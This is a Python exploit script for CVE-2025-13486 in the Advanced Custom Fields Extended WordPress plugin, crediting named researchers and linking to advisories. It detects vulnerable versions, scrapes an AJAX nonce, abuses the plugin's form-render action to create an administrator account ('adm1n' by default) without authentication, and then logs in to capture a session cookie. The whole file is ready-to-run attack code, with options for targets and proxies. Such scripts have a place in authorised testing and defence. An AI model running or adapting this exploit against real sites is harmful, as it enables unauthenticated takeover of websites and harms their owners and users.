#!/usr/bin/env python3 """ =============================================================================== Author: Sélim Lanouar (whattheslime) CVE: CVE-2025-13486 CVE Author: Marcin Dudek (dudekmar) Date: 2025-12-17 Title: Remote Code Execution & Privilege Escalation exploit. Vendor URL: https://www.acf-extended.com/ Version: from 0.9.0.5 to 0.9.1.1 included ------------------------------------------------------------------------------- Install: python3 -m venv venv && venv/bin/pip install -r requirements.txt Usage: venv/bin/python3 CVE-2025-13486.py -h ------------------------------------------------------------------------------- https://sploitus.com/exploit?id=13551590-2822-5E83-9737-F55F4B2F9F82 https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/ https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-extended/advanced-custom-fields-extended-0905-0911-unauthenticated-remote-code-execution-in-prepare-form =============================================================================== """ import argparse import re from datetime import datetime from functools import partial from urllib.parse import urljoin import httpx import socksio from packaging.version import Version as v # --------------------------------------------------------------- Constants --- AGENT = ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" ) WORKER = 5 TIMEOUT = 10 PROXY = None VERBOSITY = 0 # ------------------------------------------------------------------- Utils --- def log(color: int, level: str, message: str): date, time = datetime.now().strftime("%Y-%m-%d %H:%M:%S").split(" ") print(f"\033[{color!s}m[{date}] [{time}] [{level}]\033[0m {message}") log_warning = partial(log, 33, "warning") log_error = partial(log, 31, "error") log_success = partial(log, 32, "success") log_info = partial(log, 34, "info") def parse_args() -> argparse.Namespace: """ Parse user arguments. """ parser = argparse.ArgumentParser( description="CVE-2025-13486 — Remote Code Execution & " "Privilege Escalation exploit." ) parser_exploit = parser.add_argument_group("exploit") parser_exploit.add_argument( "-t", "--target", type=str, required=True, help="target url (e.g. http://target.com).", ) parser_exploit.add_argument( "-e", "--exploit", action="store_true", help="Enable exploitation mode and create a user on the target." ) parser_http = parser.add_argument_group("http") parser_http.add_argument( "-x", "--proxy", type=str, default=PROXY, help=f"Proxy url (e.g. http://127.0.0.1:8080) (default: {PROXY!s}).", ) parser_http.add_argument( "-H", "--headers", type=str, nargs="+", default=[], help="Custom headers (e.g. 'Header1: Value1' 'Header2: Value2').", ) parser_http.add_argument( "--timeout", type=float, default=TIMEOUT, help=f"Set HTTP requests timeout (default: {TIMEOUT!s})." ) parser_user = parser.add_argument_group("user") parser_user.add_argument( "-u", "--username", type=str, default="adm1n", help="Username for the user to create (default: adm1n)" ) parser_user.add_argument( "-p", "--password", type=str, default="2c5c87a94a2c5c87a94a", help="Password for the user to create (default: 2c5c87a94a2c5c87a94a)" ) parser_user.add_argument( "-r", "--role", type=str, default="administrator", help="Role for the user to create (default: administrator)", ) return parser.parse_args() # ----------------------------------------------------------------- Exploit --- def exploit( http_client: httpx.AsyncClient, target: str, username: str, password: str, role: str, perform_exploit: bool = True ) -> bool: """ Exploitation function. Return True if exploit succeeded, False otherwise. """ try: response = http_client.get(target) # Get version match = re.search( r"acfe-input.min.css\?ver=([\d\.]+)", response.text ) if match: version = v(match.group(1)) if version >= v("0.9.0.5") and version <= v("0.9.1.1"): log_success(f"ACFE version is vulnerable: {version}") else: log_info(f"ACFE version is not vulnerable: {version}") return False else: log_warning(f"Unable to find ACFE version!") return False # Check if exploitation needs to be performed if not perform_exploit: log_info(f"Use `--exploit` to perform exploitation.") return True # Get nonce match = re.search( r'ajaxurl"\s*:\s*"[^"]+".*?"nonce"\s*:\s*"([^"]+)', response.text ) if match is None: log_info("Unable to find ACFE nonce!") return False nonce = match.group(1) log_success(f"ACFE nonce found: {nonce}") # Create user account url = urljoin(target, "/wp-admin/admin-ajax.php") data = { "action": "acfe/form/render_form_ajax", "nonce": nonce, "form[render]": "wp_insert_user", "form[user_login]": username, "form[user_pass]": password, "form[role]": role } response = http_client.post(url, data=data) log_success(f"Account created: {username}:{password} ({role})") # Log in data = { "action": "acfe/form/render_form_ajax", "nonce": nonce, "form[render]": "wp_signon", "form[user_login]": username, "form[user_password]": password, } response = http_client.post(url, data=data) header = response.headers.get("set-cookie", "") for username in header: log_success(f"Authentication succeded!") log_info(f"Cookie: {header.split(';')[0]}") return True log_info("Authentication failed.") except httpx.HTTPError as error: log_error(f"HTTP client error: {error!s}") except socksio.exceptions.ProtocolError as error: log_error(f"SOCKS protocol error: {error!s}") except Exception as error: log_error(f"Unexpected error occurred: {error!s}") return False # -------------------------------------------------------------------- Main --- def main(): """ Program entry point. """ args = parse_args() # Header parsing. headers_list = [["User-Agent", AGENT]] headers_list += [header.split(":", 1) for header in args.headers] headers = {header[0].strip(): header[1].strip() for header in headers_list} with httpx.Client( follow_redirects=False, headers=headers, proxy=args.proxy, verify=False, timeout=args.timeout ) as http_client: exploit( http_client, args.target, args.username, args.password, args.role, args.exploit ) if __name__ == "__main__": main()